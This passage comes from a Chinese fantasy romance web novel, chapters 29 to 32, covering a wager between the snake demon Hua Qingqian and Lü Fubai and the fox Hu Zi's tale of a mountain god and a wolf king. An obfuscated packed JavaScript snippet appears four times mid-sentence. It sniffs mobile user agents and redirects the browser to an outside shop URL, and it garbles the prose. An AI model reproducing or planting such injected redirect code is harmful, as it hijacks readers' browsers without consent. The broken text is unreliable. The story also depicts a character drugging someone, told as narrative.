“所以,别看如今鸟族这么多,连朱雀都有好几只,但说到凤凰,从上古至今就只有傅玄这么一位。” 玉京子长了新知识:“原来如此!” 花清浅打假成功,觉得自己学问挺渊博,自得之意油然而生。她正要接着扯几句鸿蒙的事,转眼却看见吕浮白在火光前垂下眸子,似乎很是伤神。 她这才想起来,前日他第一次露出那般激烈的神色,说傅玄挚爱花清浅,说他五十年来生不如死,说他再也做不回那个大道无情的神君了。 孔雀世子如此崇拜傅玄,她却在他面前大谈神君再也回不去的光辉历史,跟在人家伤口上撒盐有什么区别? “咳咳,我只是想说神君厉害,没别的意思。”她小心地看向他,拿出片烤肉在他面前晃了晃,“你别生我气啊。” 吕浮白抬起眼,轻声道:“我没有生气。” “只是不久前,我曾见过神君一面,他说,他从一开始就喜欢你。”他从一开始就是有情的,可是时至今日,花清浅谈起此事,第一反应还是忽略这个事实。 她好像就是不肯承认他喜欢她,作为爱人,作为曾经的爱人,他究竟失职到了什么地步。 “他怎么会不喜欢你。”吕浮白重复道,最后一句声音轻不可闻,“他以为你知道。” 花清浅就知道,他肯定又去见了傅玄一回,发现两边的口供对不上,所以那日对她的态度才有些古怪。 “那什么,其实我估计吧,傅玄他可能就是被我假死给刺激到了,我毕竟陪他那么多年,便是条狗都有感情了,所以显得不大淡定。但以他的心性,应该很快就能看破的……所以,世子你还是别太担心了。” 他能看破么?吕浮白一时有些茫然。 红尘嚣嚣,万丈如网,他曾轻视过情网的力量,然而自一百年前被它缚住,痛楚远甚过往万万年中所受到的魔矢邪刃。 她在他面前赴死,他求死不得,痛不欲生;她在他面前爱上另一个人,他嫉妒又自卑,戾气大盛,想要杀了东方容楚的心愈演愈烈—— “他看不破的。”吕浮白安静地道。 “你怎么对你们鸟族祖宗这么没有信心?他一看就不是沉溺情情爱爱的主啊。”花清浅递给他一串烤肉,自己咬下另外一串,被滋滋冒出的油脂烫得吐出信子: “不如咱们打个赌,五十年后他若看破往事,彻底放下,就算我赢,如何?” 孔雀世子一看就不会拿金贵的老祖宗打赌,她只是随口一说,没想到他却很快答应:“好。” 她见鬼般看向他。 “——如果我赢了,你要答应我一件事。” 他这话出来得太快,她都要怀疑这是他早就想好的圈套,顿时觉得时间设定太短了:“不行,我反悔,五十年对神君来说不算什么,我要改成一千年!” “好。”他仍是立刻接话。 一千年算什么,她就是改成一万年、十万年,他的心都不会变。自古鸟族就是最忠贞专一的,一旦认定伴侣,便是一辈子都认定那一人。 这场赌局,她必输无疑。 花清浅仍然直觉他话里有诈,但怎么想都觉得一千年也够了——那可是一千年哎,都够她纳四十个夫君了! 再说,她若修不成蛟龙,这辈子也就是大几百的寿命,能不能活到一千年以后还是两说。 再退一万步说,就算她输了,她小小花蛇一条,堂堂孔雀世子对她能有什么苛刻要求?无非是多要点功德金光; 可若世子输了,嘿嘿,那她的选择就海了去了:魂片、修为、神力,甚至是大明王洞府…… 这笔买卖横竖稳赚不赔,赚了就是一本万利,为什么不干? “我干!”她忽然来了股豪气,把吃光的烤串往地里一戳:“赌就赌,咱们说好了,如果一方输了,就要无条件答应对方的要求,可不许耍赖!” 吕浮白自然没有意见。 一旁吃得满嘴流油的玉京子被拉来做了见证,于是今夜篝火之畔,明月之下,由玉京子紧盯着,花清浅与吕浮白击掌三下,从此定下赌约,再无更改。 - 两夜一日后,四人如期抵达五门峡。 走出山道时正是傍晚,只见峡关远处海天墨蓝一色,海面结冰未化,陆地上却也不觉得有多冷。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13368811|137881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此地依山傍水,不愧是京师门户。”花清浅背起昨晚临时看的书,“古人所诗‘峡关春满,不见风寒’,诚不欺我。” 自从上次念错一字,花清浅铁了心要证明她并非不学无术,更加卖力地读起诗来,也难为她能找到这么偏僻的古句。东方容楚对她的小心思一清二楚,只见她水眸晶亮,暗含炫耀,实在可爱,不由温声顺着她夸道: “这句诗无名无题,只收在上古的散句集里,姑娘居然都能随口诵出,真是博学多才。” 花清浅被他夸得浑身舒坦,忍不住弯起眉眼,笑起来还不忘用锦帕捂住朱唇,活脱脱像是从戏文话本里走出的矜持千金。 玉京子对她这般做作神态嗤之以鼻,对东方书生拍马屁的本事也叹为观止。 “她明明连‘羌管’都不认识,这东方奉承起人来真够眼瞎的。”他小声同吕浮白评价道: “世子你说,书生是不是都这样?怪不得话本里书生最受小娘子们青睐。哎,真是世风日下,现在书生不光勾引凡人娘子,连清浅这样的蛇妖也要被勾去魂了!” 玉京子对他的相貌从来很有自信,但东方容楚一来,他的俊美顿时就变得有些孩子气。就算他穿着质地高出书生千百倍的仙衣,对方颀长如玉的身量在那里一杵,也完全能将他比下去。 今日东方容楚仍穿着一身古朴的碧青长衫,行走时气度温润从容,眉眼深邃,身后的书箱更为其添上一缕墨香,叫花清浅好几次都挪不开眼。是以玉京子对他更加看不惯,逮到机会就要挑刺。 因为凤凰神君的关系,玉京子想当然觉得孔雀世子应该跟他同一战线,但后者却并没有立刻附和他的话。 玉京子转头看去,发现他又在专注地盯着花清浅。 因为轻装简行,她脸上仍没有精致的妆容,身上衣裳也没换,仍是那套昆仑云锦劲装。但她心情很好,有东方容楚在身边,她一日比一日容光焕发,青丝不再挽成一束,而是像以前那样分成两绺,从脑后垂到胸前,动作时发梢轻扬,分外俏皮活泼。 之前在慕城,她挽着两只山雀,一派无心的妖冶美艳;如今她竟美得更加夺目,少女情态掩都掩不住,仿佛失落的天真一夜之间都寻了回来。 吕浮白就这样怔愣地看了她许久,不知在想些什么,直到花清浅说天色已晚,今夜不如住店,看向他询问意见,他这才回过神来,由着她走进一家客栈。 如今离会试还早,大部分南方士子还没到五门峡关,房间富余得很。而花清浅刚得了一箱纹银,出手很是大方,给每个人都订了间上房。 上房的服务就是不一样,关好屋门,屋内暖气氤氲,暖阁内还有放好的浴桶,浴桶里是加了香薰精油的热水。花清浅设好结界,又嫌人形不方便,干脆变成花蛇,一个猛子扎进水里 放肆欢快地扑腾了好一阵,她才悠悠浮到水面,变回人形,一手搭在浴桶边,慵懒地支起下巴,朝紧闭的窗户瞥去。 灵力随心而动,结界在那块窗户上打开缺口,掉进来一只哆哆嗦嗦的紫色小毛团子。 30. 第30章 蔗县人人皆知,昭山有狐,白爪紫尾,人称胡紫;其狐心性纯善,化人相貌姣美,夜时遇之如见明月,山路自清,障雾自解。 “好好一只人美心善的小狐,却怎么变成了如今这副模样?” 花清浅一面漫不经心问道,一面变做蛇形,钻出浴桶,在床前软榻上滚了几圈,甩去所有水珠,又轻巧地飞到床上,没有给那小狐狸团子半点眼神,显然对这个问题的答案不是很关心。 ——她已经认了出来,眼前的小狐狸团子就是之前在山上遇到的那只。当时她只觉得那紫狐有些眼熟,但见其尖嘴周围有邪气,且对大明王世子的存在惧怕得很,显然不是什么瑞兽,就没往蔗县那个传说身上想。 方才窗户结界破开,这小狐团子猝不及防摔进来,四爪朝天,全是白色,她这才把胡紫这个名字与这狐狸联系起来。 胡紫飞快支起身,爬到最东端的横梁上——吕浮白就住在西边的隔壁,那股存在感极强的至清神力天生克她,叫她离得这么远却依旧害怕不已,牙齿打颤,话都说不清楚。 在横梁上缓了好一阵,她才喘着气哀鸣出声:“求求清浅姑娘,救我、救我夫君一条小命!” 邪气浓重成这样,无论她此时面上有多情真意切,说的话十句里都只能信八句。不过此前经过长途跋涉,花清浅也累了,懒得对她用真言咒,只吩咐道:“不要急,把前因后果仔细说说。” - 胡紫长得嫩,其实她今年已经五百岁了,但化人时还是十八岁的模样,原形更过分,看起来就是一只没断奶的狐狸崽子。 很多年前,在昭山深处的狐狸洞府里,她还是最小的崽子,长得最漂亮,偏偏却学不会狐族与生俱来的魅术。 在狐狸一族中,学不会魅术,就没法诱惑凡人,相当于没有吃饭的本事,与残疾无异。 好在胡紫的爹娘和兄长皆十分疼她,怕她骗人不成反被骗,便不许她乱跑,由他们手把手教她修炼、供她吃穿,因此她一直长到百岁,都没有踏出过山坳结界一步。 直到数十年前,有星粒自天上坠落,引燃熊熊山火,凡水不能扑灭,只能使其愈燃愈烈。山火冲天,几乎所有狐族都陨灭于那一场大难,包括她的爹娘兄长,只有胡紫侥幸逃脱。 她第一次出了深山,在山脚安顿下来。昭山附近的居民热情淳朴,以为她是战乱逃难的潁朝孤女,便帮她建了座简单的茅草屋,还教她如何种菜、如何用板车运粮食去县里卖掉。 因为家人的叮嘱,胡紫不敢轻易暴露身份,她 在人前拼力气,人后偷偷用灵力,日子也过得不错。 有次冬日,她随几个猎户去山上打猎,恰逢山谷起雾,一行人都迷了路,屋漏偏逢连夜雨,猎户们身上带的火石又用光了,眼看着再不下山就要冻死,胡紫不得已动用了灵力驱散大雾,被他们发觉,自此才有了“紫狐解路”的传说。 花清浅猜测道:“难道是那些猎户见你灵力不俗,起了贪念,所以你把他们给杀了?” “不是的,他们……他们对我很好。” 不止是猎户,山脚下的小村村民们都或多或少知道了胡紫并非凡人,但他们怜爱她样貌乖觉,且身世伶仃,竟没有一个人将她的身份泄露出去,平日里更是对她多加照顾。 胡紫对他们心存感激,便更频繁地跟随猎户入山,每次有她跟着的打猎都能在短短几日满载而归。 然而好景不长,几年之后,蔗县迎来了一次灾荒,农田颗粒无收,村子里大部分农户米缸都见了底,朝廷免了税赋,村民们还是活不下去。 为了挣口饭吃,猎户们三天两头便要进一回山,胡紫干脆住进了山里,一面为他们放哨,一面回到以前的洞府,试图搜寻些宝贝,想着拿去县里卖几个钱,帮助村子渡过难关。 被山火烧过,洞府土地一片焦黑,胡紫翻了半日才找出来一颗珍珠。她弯腰正要捡,却不知从哪里窜出一只兔子,抢在她前面叼起珍珠,闪电般逃出洞口。 这可真是狐狸不在家,兔子称大王,鸠占鹊巢狐狸洞不说,还敢抢狐狸的宝贝!胡紫岂能放过它,跺一跺爪子便追了上去,那兔子逃得忒快,还对山中地形很是熟悉,七拐八弯之后,胡紫发现眼前已经不是熟悉的山道了。 她从小在昭山长大,可她不知道,昭山的深处原来是那样幽深、那样阔大。就在她即将跟丢那只兔子之时,耳畔高耸的榕树上忽然传来一道声音。 “不要胡闹,把东西还给人家。” 胡紫抬起头,看到了她此生见过最俊朗的一位青年男子。 他横坐在绿叶掩映的树枝上,一手闲适地搭在膝头,眸底沉稳如山,发白如雪,有风吹过,他腰间玉带飘逸扬起,浅黄色的日光从树叶缝隙中洒下来,衬得他如天神一般出尘。 在他发话的下一刻,那只胆大包天的兔子就吐出了珍珠,像是害怕被他责罚,三两下跑得没了影。只剩胡紫愣愣地站在原地,望着他睁大了眼睛:“你是谁呀?” “我是宋观山。” 宋观山,昭山山神! 胡紫小时候听爹娘讲过昭山山□□号,可从来都没有见过他的真身,更不知道他原来长得这么俊朗。 “你长得真好看。”她想到什么就说什么,树上的山神闻言,不知所措地眨了眨眼——他一害羞更好看了,叫人直想靠得近些、再近些。 胡紫是这么想的,也是这么做的。她当即捡起珍珠,爬上树枝,与宋观山并肩坐下。 这些年来她靠山吃山,对昭山深处自诩了解颇多,但也有一些问题,比如十年前天降星火,山神如何熬得过来,再比如荒年人间饥馑,山中如何还是这般郁郁葱葱,百兽生机盎然。 宋观山一一为她解答。 星火烧山,那是天命,山神本人也无能为力,只有忍着,等星火自然平息。 深山大片焦黑,草木化灰,山神的修为也因此受损惨重,他那阵子险些神识俱散,好在那星火到底没有燃尽山髓,他还是挣扎着活了下来。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13388120|137881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >所谓大难不死,必有后福,那星火不仅没有燃尽山髓,反而融入其中,炼出了一件极其珍贵的神器,可净化邪气,也可孕育生气,因为其表面金银斑驳,宋观山将之取名为“金银钉”。 “宋观山这个山神……跟我想的不大一样。”说起这一段,胡紫的狐狸眼里闪着光,毛茸茸紫色尾巴在横梁上扫来扫去,好像眼前又出现了那个俊朗害羞的山神: “他贵为山神,我只是一只学不会魅术、半残废的小狐狸,但他一点都不嫌弃我,而且第一次见面,就肯将金银钉这么重要的神器告诉我,可见有多信我。” 她扯了一堆,还没有说到正题,花清浅本来都困了,但听到这里,却来了点兴致,意有所指地问道:“这是你们的第一次见面,你确定?” “确定,我总不至于连我们的初见都能记错。”胡紫点了点头。 “先前你说,每回你跟那几个猎户入山,都能满载而归,那猎物是自己蹦到你们跟前的么?” “是我用灵力吸引来的。” “有山神护佑的野外,吸引猎物那么容易?”花清浅挑了挑眉,见横梁上狐狸团子歪着脑袋,仍是不明所以的模样,也没有多说,只叫她赶紧进入正题。 “此事说来话长,我尽量说快些。”胡紫急促道:“第一次与山神见面,我就觉得与他一见如故,之后、之后我喜欢上他,就试图求偶,与姑娘当年求偶大差不差——” “什么?”花清浅以为听错了,“有我什么事,我当年求偶谁了?” “就是求偶凤凰神君啊。恕我放肆,姑娘,世人都说凤凰神君的妻子已经死了,但我认得出,清浅姑娘你就是当年求偶神君的那位蛇妖。” 花清浅刚稳住一个吕浮白,万万不想又来一个胡紫,绝望扶额道:“你不是没出过山么,怎么还能认得求偶神君的蛇妖是谁?” “姑娘当年行迹轰轰烈烈,下界有凤凰神君画像的地方,也必有姑娘的画像。” 不过小花蛇是被当成反面教材的,当时胡紫爹娘拿着美人蛇的画像,对胡紫耳提面命:“这就是情爱的危险之处,看看这条蛇妖多惨哪,才小小年纪就中了情毒……哎,你可要当心,千万不能学她这样!” 这里的妖族拿了她的画像做什么,胡紫没有说,花清浅猜也能猜个大概。 她头疼不已,羞愧不已,也恼怒不已:一百岁时,她不过就是条刚刚成年的小蛇,求偶求得没脑子了些,那些丢脸事迹到底要传多远?! “咳咳,谁没有个年少轻狂的时候?都过去了,不值一提。”花清浅使劲挥了挥尾巴,像是要挥散那求而不得的丢人过往,“你接着往下说,别再扯到我身上!” “其实我说这些,就是想着,姑娘也有过漫长的求偶期,应该能理解我的心情……” 花清浅看着她的脸色,猛然有点明白过来:“你对那宋观山做什么了?” “……我给他下了药。” 好猛的一只狐狸,不择手段至此,花清浅没话说了。 31. 第31章 到底是以魅术为安身立命之本的狐族,一言不合居然就能想到下药。花清浅求偶神君的时候,哪里有这样的心眼和胆子?这狐狸真是太谦虚了,两人于求偶一道上是万万不能比的。 花清浅好久不说话,胡紫心里没底,急着辩解道:“清浅姑娘,你也对凤凰神君爱而不得多年,应该也同我做过一样的事吧?我那时没别的意思,就是想要偷得一晌贪欢,真的,我没有撒谎。” 花清浅确实对傅玄爱而不得多年,但胡紫只知其一,不知其二。 在神君面前,她唯恐不能表现得再乖巧些、再上进些,满脑子都是如何修炼有成,让他高看一眼,或是再给他送个什么小玩意,博他一笑,心底里还真没萌生过“偷来一晌贪欢”的念头。 况且,神君从头到尾都没有生出过男女之情。若是趁着他关怀后辈的时候,她给他下/药……光是想象一下那个画面,花清浅就浑身打了个颤。 按照神君的性子,她怕是会被挫骨扬灰吧。 花清浅看着横梁上瑟瑟发抖的狐狸团子,倒也没有叱责她心思不正的意思,只顺着她说道: “你给他下药了,然后呢?他与你荒唐一夜,然后就顺理成章地在一起了?” “确、确实如此,姑娘怎么知道?” 不动脑子都能想得到,那山神是个端正守礼的主,两人都发生了肌肤之亲,他当然会负责到底。 花清浅钻进被子里,探出蛇脑袋问道:“你说你对他下药,那药是从哪里来的?” “是猎户借给我的。”胡紫回答,“他们常年打猎,在陷阱里和捕兽夹上涂抹五月花花汁,说是也能用在人身上,我就用了。” 花清浅有一瞬间都怀疑她是不是装的——这种凡间药物,自然在人身上有效,但宋观山可是山神,他能被区区凡药放倒? 深夜房内油灯渐暗,胡紫看不见花清浅皱起的眉头,自顾自说道: “就算再不懂事,我也知道,我对他下了药,得到了他的肉/体,就不该再去肖想他的真心。我也没有肖想过他的真心,那一夜之后,我本来准备下山回家的,是他叫住我,说要与我成亲。” 他当时的原话是“我本就是要娶你的”,还带了一大堆啰里八嗦的说教,教她以后不许再如此肆意妄为云云。 胡紫的亲哥都没跟她说过这么多话,他教导她的话只有寥寥几句:想要什么就去争取,除了人心以外,小紫想要,小紫得到,都是小紫的本事。 胡紫想要山神,胡紫得到了山神,还附加意外得到了一颗心,胡紫觉得她没错,所以每每回忆这一段时,都会在脑内自动删掉宋观山的说教。 “我将原来洞府里的大半财宝都送给了村民,帮他们度过难关,等他们再不需要我帮忙,就正式住进了山里。宋观山没下过山,什么新奇东西都没见过,我就一趟趟地从县城给他买回来,把整个集市都差点搬空了。” 虽然宋观山没什么见识,但他长得俊,胡紫每天看着他都看不腻,日子过得颇为快乐,唯一的不满就是他太害羞,那夜的事只能等到成亲之后再做。 她便每晚睡觉时都掰着爪子数天数,一心盼着腊月的良辰吉日快点到,她要正大光明再与他度一次春/宵。 然而,腊月的婚期如约而至,承诺说要娶她的宋观山却迟迟不娶。 “他为何不肯娶你?”入夜已深,花清浅却是越听越精神,从乾坤袋里翻出几根肉条,冲横梁上抛了一根。 狐狸团子眼疾爪快地捞到肉条,不过没有立刻塞到嘴里,而是先回答道: “宋观山的说法是,他是山神,终身不能出山。我若与他成亲,就是山神娘子,也势必不能出山,除非他功力大进,与山体脱形,才可出去。” “你的说法呢?” “我说,我也是在深山长大的,早就知道做山神娘子意味着什么。他要精进修为,我就陪他一起修炼,实在不行,一辈子不下山也很好。” 胡紫虽然吃惯了凡人做的烤串米羹,但她不馋嘴,在深山以果子和山泉为生也过得下去,她可以的。 “不错不错,有情饮水饱啊,勇气可嘉。”花清浅评价道,“你都这么说了,那宋观山还是不同意?” “……是的。”胡紫吞咽着肉条,好一阵才开口,“所以我觉得这不是他不娶我的理由。我觉得,他忽然后悔,是因为新来的那个狼女。” 在他们婚期前一个月,冬日雪初落的时候,一伙狼群上昭山找食吃,其中一个学会化形的狼女落入猎户陷阱,伤到了腿,被宋观山救了起来。 此前宋观山从来不救落入陷阱的猎物,因为凡人靠山吃山,需要以猎物为生,都是自然循环,他不会插手这些。 但那一日他却插手了,或许是因为那个狼女的眼泪实在可怜,又或许是他“不能让外来的妖族在昭山受伤”,反正不管胡紫愿意信哪一个,他都是插手了。 “那个狼女叫公孙澈,被他救了一命,自然对他一见倾心。这本来没什么,我也犯不着为了个刚化形的小狼崽子生气,关键是宋观山,他那段时日被我催婚催烦了,老是避着我,说要清修,可我好几次都撞见他和狼女在一起说话,根本没在修炼。” “他一面对那狼女好,一面拖着不让我亲、不让我抱,也不与我成亲。我觉得这样下去没意思,就找到他跟他说,我不跟他成亲了,我要下山。” 其实她未必真的想下山,只是想让他哄一哄,解释清楚他跟公孙澈的事,再允许她亲一下他的嘴角,她就会高高兴兴跟他在深山住一辈子。 可他没有。 当时宋观山看着她故作生气的表情,只微微苦笑,说了一句:“很好,你走吧。” 她要离开他,他说很好?! 胡紫一时反应不过来,正要问他好在哪里,就见公孙澈从他身后露出一张毛茸茸的狼脸,冲她咧嘴一笑。 原来好在这里。 她一走,相当于碍事的人自动消失,偌大深山里只剩山神与狼女,做什么都方便,如此当然是好。 “其实他喜欢公孙澈也很正常,她比我好看,比 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13403677|137881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我能打,身份还是狼王之女,我一个魅术都不会的狐狸,确实比不过。我当晚下了山,并没有多么伤心。”胡紫说着,漠然眨了眨眼。 花清浅不发一语地听着,脑中浮现很多年前,那个看着傅玄与云廷玉城圣女相对捧花,心里酸涩得能滴出汁来的小小花蛇。 明明知道神君与那圣女没有什么,他们同属鸟族,天生就亲厚些,但小花蛇就是过不去那道坎,被神君斥责也要上前搅局,回到蛇谷后还找了玉京子喝果子酿,小醉一场,才抒去了心中那点难受。 那时她还有玉京子安慰,可是胡紫呢,她住进山里不知多久,与村里人也少了来往,她能找谁哭诉? 这只狐狸团子仿佛更可怜了点。花清浅看着胡紫若无其事的狐狸眼,摇了摇头:“不要跟我说谎,你那晚一定非常伤心。” 被她说中了,胡紫狼狈地垂下耳朵。 爹娘兄长早就告诉过她,世间什么东西都能求,唯有真心不能,因为若想求一颗真心,首先要把自己的心给出去才行。 “若你跟其他狐狸一样,求一求真心倒也罢了。有魅术在,一颗心给出去,不怕收不回来。”兄长曾一手捋着她的耳根,语气怜爱地说道,“可你不会魅术,这就太危险了……” 给出真心是很危险的,不是所有人都会好好保管别人的心。 胡紫牢牢地记住了这一点,不去强求任何人的真心。她时刻不停地按住自己的心,绝不轻易送出去,可是宋观山太俊,许下的承诺太真,她一时竟忘了要按住那颗心,不知不觉间,那颗心就落到了他的身上。 胡紫灰溜溜下山的那一晚,真心碎裂,她疼得变成原形,在空无一人的茅草屋里打滚,没注意到房门什么时候已经打开了。 “小狐狸。”有人在门口唤她,“我可以进来么?” 胡紫泪眼朦胧,看不清门口是什么人,以为是从前相熟的猎户,只凭着本能扑进他怀里,上气不接下气地喘鸣:“我难受——我好难受,救救我,求你——” 她之前在地上滚了不知几圈,肚皮和后背乃至尾巴都沾着泥灰,她就这样在那人的怀里动来动去,那人的怀抱很快被弄脏,但他居然也没有在意。 “小狐狸,小狐狸,冷静。”他似笑非笑道,抱着她走到床边坐下,一手从她低垂的耳朵根抚到尾巴尖,另一只手往她的嘴里塞了点什么东西,有点清冽,还有点甜。 咽下他塞进来的东西,胡紫胸前那股淤滞的闷气终于被化开,她神智这才稍稍归位,眨去泪珠,看清那人的脸,浑身的毛发都炸了开来。 ——这是公孙柘,那群不速之狼群的头狼,公孙澈的亲哥哥! “你、你给我喂了什么东西?!” “昭山甘泉。”他装模作样地叹了口气,“这可是能救命的好东西,用在你身上,有点可惜了。” “甘泉水是宋观山独有,你哪来的甘泉?你偷了宋观山的?” “我能有那本事,你心爱的山神还能稳坐神位?这甘泉水自然是他亲手送给我妹妹的。” 32. 第32章 昭山山泉众多,可甘泉就那么一支,胡紫对此很是好奇,跟宋观山讨要了多次,他都没给。 可狼女才来了不过几日,他就主动奉上了。 胡紫再没有话说,两只毛茸茸的耳朵垂得更低,几乎紧贴着脑袋耷拉下来。 “小狐狸啊小狐狸,刚能喘过来气,就急着维护让你伤心至此的罪魁祸首?”公孙柘笑意有几分冰凉,“对我却一句好话都没有,可真是分不清好歹呐。” 胡紫动了动身子,从他怀里挣脱,恹恹地趴到一边:“我分得清好歹。你和你妹妹一丘之貉,都不是好东西!” “我是狼,可不是貉。” 管他是什么,胡紫都不想搭理。嘴里甘泉水清冽的味道还没有散去,她这辈子第一次喝到昭山甘泉水,不是宋观山送的,而是从公孙澈手里得来的…… 越想越委屈,她把脑袋埋进紫色尾巴里,泪水不一会就洇湿了又脏又乱的尾巴毛。 小狐狸的眼泪真多,如果没人看着,恐怕不久又要哭得抽抽嗒嗒,把自己哭窒息过去了。公孙柘叹着气,摸了摸她颤抖不止的狐狸脑袋: “不会魅术也就罢了,连哭的时候要换气都不会,怎么会有你这么笨的小狐狸。” 嘲笑一只狐狸不会魅术,这是最严重的侮辱!她天生就不会魅术,又不是不努力,他一个生下来就能当狼王的凭什么嘲笑她! 胡紫的怒气一下子就盖过了悲伤,呲起牙凶狠地咬向他在她脑袋上作乱的手,可惜公孙柘反应及时,让她咬了个空。 “又有力气咬人了?”他收回手的动作好整以暇,优雅至极,比他那张嘴还可恶,“我说小狐狸,你与其咬我,不如想着如何利用我。” “你有什么值得我利用的?满肚子坏水,咬下去我都嫌邪气太重。” “有时候,邪气可比正气用起来方便。”公孙柘绿幽幽的眼睛在黑暗里分外奇诡,像是能把人吸进去一般,“山神抛弃了你,你就不想报复他?利用我,你可以让他和你一样痛苦。” 胡紫并不想要宋观山和她一样痛苦,因为她还记得一开始就是她给他下了药,宋观山是无妄之灾,他喜欢谁都没有错。但公孙柘还说了许多有道理的话,她听得迷迷糊糊,发现他好像也不是没有错。 “这个公孙柘说了什么话,让你觉得有道理?”花清浅问。 “他说,不论如何,宋观山让我伤情至此,他就是有错。” 这话像是在安慰她,又像是在怂恿,话里话外还有点淡淡的护短和蛮不讲理。花清浅不禁笑了笑,觉得这个公孙柘的气质莫名似曾相识。 好像不久以前,也有人对她这么说过——“管他什么神君仙君,他教你伤了心,就是有错,你为何不能恨他。” “所以你听他的,报复了山神?” “是。”胡紫的狐狸眼流露出一丝追悔莫及,“他说,他可以让公孙澈立刻离开蔗县,让宋观山也尝尝被人抛弃的滋味。条件是我要对他百依百顺,任何一个要求都不能违背,为期十日。” “我答应了。” 花清浅感到一阵啼笑皆非:“堂堂一族之王,所谓的报复手段就是这点小儿科?你真没骗我?” “我、我说的都是真话!”胡紫急得快要哭出来,“现在宋观山知道了公孙柘在幕后捣鬼的事,要杀他泄愤,求求姑娘,救救他吧!” 花清浅反问:“宋观山是山神,不是出不了山么,只要你带着公孙柘离开蔗县,他能奈你们何?” “他早就修为大进,可以脱离山体成形了,昨日他追着我们一直到了慕城以北,要不是公孙柘精通阵法,已然被他一招杀了!” “这不是活该么?拆人姻缘,天打雷劈,谁让他拆散他妹妹和宋观山的。” “不是,公孙澈一开始就没想跟宋观山好!他们兄妹俩是一伙的,是公孙柘先看上了我,才叫她妹妹去勾……去讨好宋观山的!” “哦,这样。”花清浅打了个哈欠,“那山神没把持住,赔了夫人又折兵,好像你确实没什么可指责的地方。”没等胡紫反应过来,她又紧接着说道: “那你想让我怎么做?我虽然勉强有两三把刷子,但对上山神还是没胜算的啊,而且别指望隔壁那位出手,他是大明王世子,我得听他的,他可不听我的。” 这时从隔壁传来的威压似乎轻了些,想来是那位上神睡着了。胡紫从横梁蹿下来,两只爪子扒到床头: “我们不会连累姑娘跟宋观山正面相抗,只需借姑娘的聚灵石一用便可!” “公孙柘善摆阵法,他已经摆好了防护阵,只是他灵力不够,阵眼总容易被毁,用聚灵石可令其牢固百倍。若我没记错,姑娘当年获封蛇谷之西,西谷岩洞里的聚灵石数不胜数,这才斗胆前来一借。” 花清浅若有所思地沉默了片刻,才又开口道:“你说公孙柘是你夫君,你喜欢他?” “是。” “就算知道了一开始是他在背后搞鬼,你还是喜欢他?” “……是。” “他一看就不是好人,彻头彻尾坏到芯子里去了,你还是喜欢?” “是!” “怎么喜欢上的,说来听听。”花清浅笑着说道,“讲得细致一点,说不定我心情一好,对你们这苦命的小鸳鸯多了几分同情,就把聚灵石送你了呢。” 胡紫一顿:“我……” 她是怎么喜欢上公孙柘的,明明是发生在不久前的事,可是回忆起来,她依然有些恍惚。 她不是真傻,公孙柘大费周章离间她与宋观山,就为了她能对他“百依百顺”十日,但在那十日里,他对她也没有什么过分的要求,反而总是带她去县里吃好吃的、去屋顶赏月,她就隐隐猜出来,他八成是想要她的心。 在最后那一晚,他又带她上了屋顶,还教她如何更高效地炼化月华,可这是狼族秘术,她学了很久都学不会,干脆把他一推,整只狐狸四脚朝天地摊在屋顶上,抱怨道: “好麻烦的秘术,不如你直接把修为渡给我好了,省得叫我这么费劲。” 公孙柘看了她一会,狼牙轻柔叼起她的后颈,当真渡了她三十年的修为。 那是胡紫有生以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13423129|137881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来第一次发现,修炼原来可以这么轻松。 “我想要你。”最后那晚的最后一刻,子时将过,他终于坦白,“小狐狸,山神对你不好,我会对你好的。你愿意跟我走吗?” 狼形的公孙柘比人形满腹算计的他更加锋利,像一柄出鞘的寒刀。但在胡紫眼里,他脸上只是多了很多毛毛而已。 她哼了一声,拍掉他凑近的狼首:“别以为我忘了,宋观山为什么对我不好,还不是你们兄妹俩搞的鬼。” 公孙柘低声道:“对不起。” 他说着道歉,一双绿幽幽的眸子里却没有丝毫歉意。胡紫看不透他,她从来看不透他,可是在他面前,她就像一张白纸,简单得一目了然——他甚至连吃阳春面时她喜欢放几滴醋都拿捏得清清楚楚! 